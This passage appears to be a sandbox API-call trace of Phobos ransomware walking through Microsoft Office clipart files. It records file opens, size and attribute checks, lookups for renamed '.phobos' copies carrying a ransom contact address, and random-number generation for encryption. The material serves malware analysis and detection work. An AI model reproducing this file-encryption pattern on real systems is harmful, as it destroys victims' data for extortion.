[0154.106] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10744) returned 1 [0154.106] CloseHandle (hObject=0x584) returned 1 [0154.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00911_.wmf")) returned 0x220 [0154.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00911_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00911_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00911_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.106] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00913_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.107] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10420) returned 1 [0154.107] CloseHandle (hObject=0x584) returned 1 [0154.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00913_.wmf")) returned 0x220 [0154.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00913_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00913_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00913_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.107] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.108] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6924) returned 1 [0154.108] CloseHandle (hObject=0x584) returned 1 [0154.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00914_.wmf")) returned 0x220 [0154.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00914_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00914_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.108] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.109] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7160) returned 1 [0154.109] CloseHandle (hObject=0x584) returned 1 [0154.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00915_.wmf")) returned 0x220 [0154.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00915_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00915_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.109] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00916_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.112] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4720) returned 1 [0154.112] CloseHandle (hObject=0x584) returned 1 [0154.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00916_.wmf")) returned 0x220 [0154.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00916_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00916_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00916_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.112] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00917_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.113] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9644) returned 1 [0154.113] CloseHandle (hObject=0x584) returned 1 [0154.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00917_.wmf")) returned 0x220 [0154.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00917_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00917_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00917_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.114] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00918_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.114] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8028) returned 1 [0154.114] CloseHandle (hObject=0x584) returned 1 [0154.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00918_.wmf")) returned 0x220 [0154.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00918_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00918_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00918_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.115] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00935_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.115] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10564) returned 1 [0154.115] CloseHandle (hObject=0x584) returned 1 [0154.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00935_.wmf")) returned 0x220 [0154.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00935_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00935_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00935_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.116] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00938_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.116] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6496) returned 1 [0154.116] CloseHandle (hObject=0x584) returned 1 [0154.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00938_.wmf")) returned 0x220 [0154.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00938_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00938_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00938_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.117] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00941_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.460] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5896) returned 1 [0154.460] CloseHandle (hObject=0x488) returned 1 [0154.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00941_.wmf")) returned 0x220 [0154.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00941_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00941_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00941_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00941_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.460] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02094_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.461] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6986) returned 1 [0154.461] CloseHandle (hObject=0x488) returned 1 [0154.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02094_.wmf")) returned 0x220 [0154.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02094_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02094_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02094_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.462] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02227_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.463] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1344) returned 1 [0154.463] CloseHandle (hObject=0x488) returned 1 [0154.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02227_.wmf")) returned 0x220 [0154.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02227_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02227_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02227_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.463] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02228_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.464] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=820) returned 1 [0154.464] CloseHandle (hObject=0x488) returned 1 [0154.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02228_.wmf")) returned 0x220 [0154.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02228_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02228_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02228_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.464] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.465] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2304) returned 1 [0154.465] CloseHandle (hObject=0x488) returned 1 [0154.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02233_.wmf")) returned 0x220 [0154.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02233_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02233_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.465] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.467] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3720) returned 1 [0154.467] CloseHandle (hObject=0x488) returned 1 [0154.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02252_.wmf")) returned 0x220 [0154.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02252_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02252_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.468] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02253_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.468] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2272) returned 1 [0154.468] CloseHandle (hObject=0x488) returned 1 [0154.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02253_.wmf")) returned 0x220 [0154.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02253_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02253_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.469] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0154.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0154.469] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2072) returned 1 [0154.469] CloseHandle (hObject=0x488) returned 1 [0154.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02261_.wmf")) returned 0x220 [0154.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02261_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02261_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft 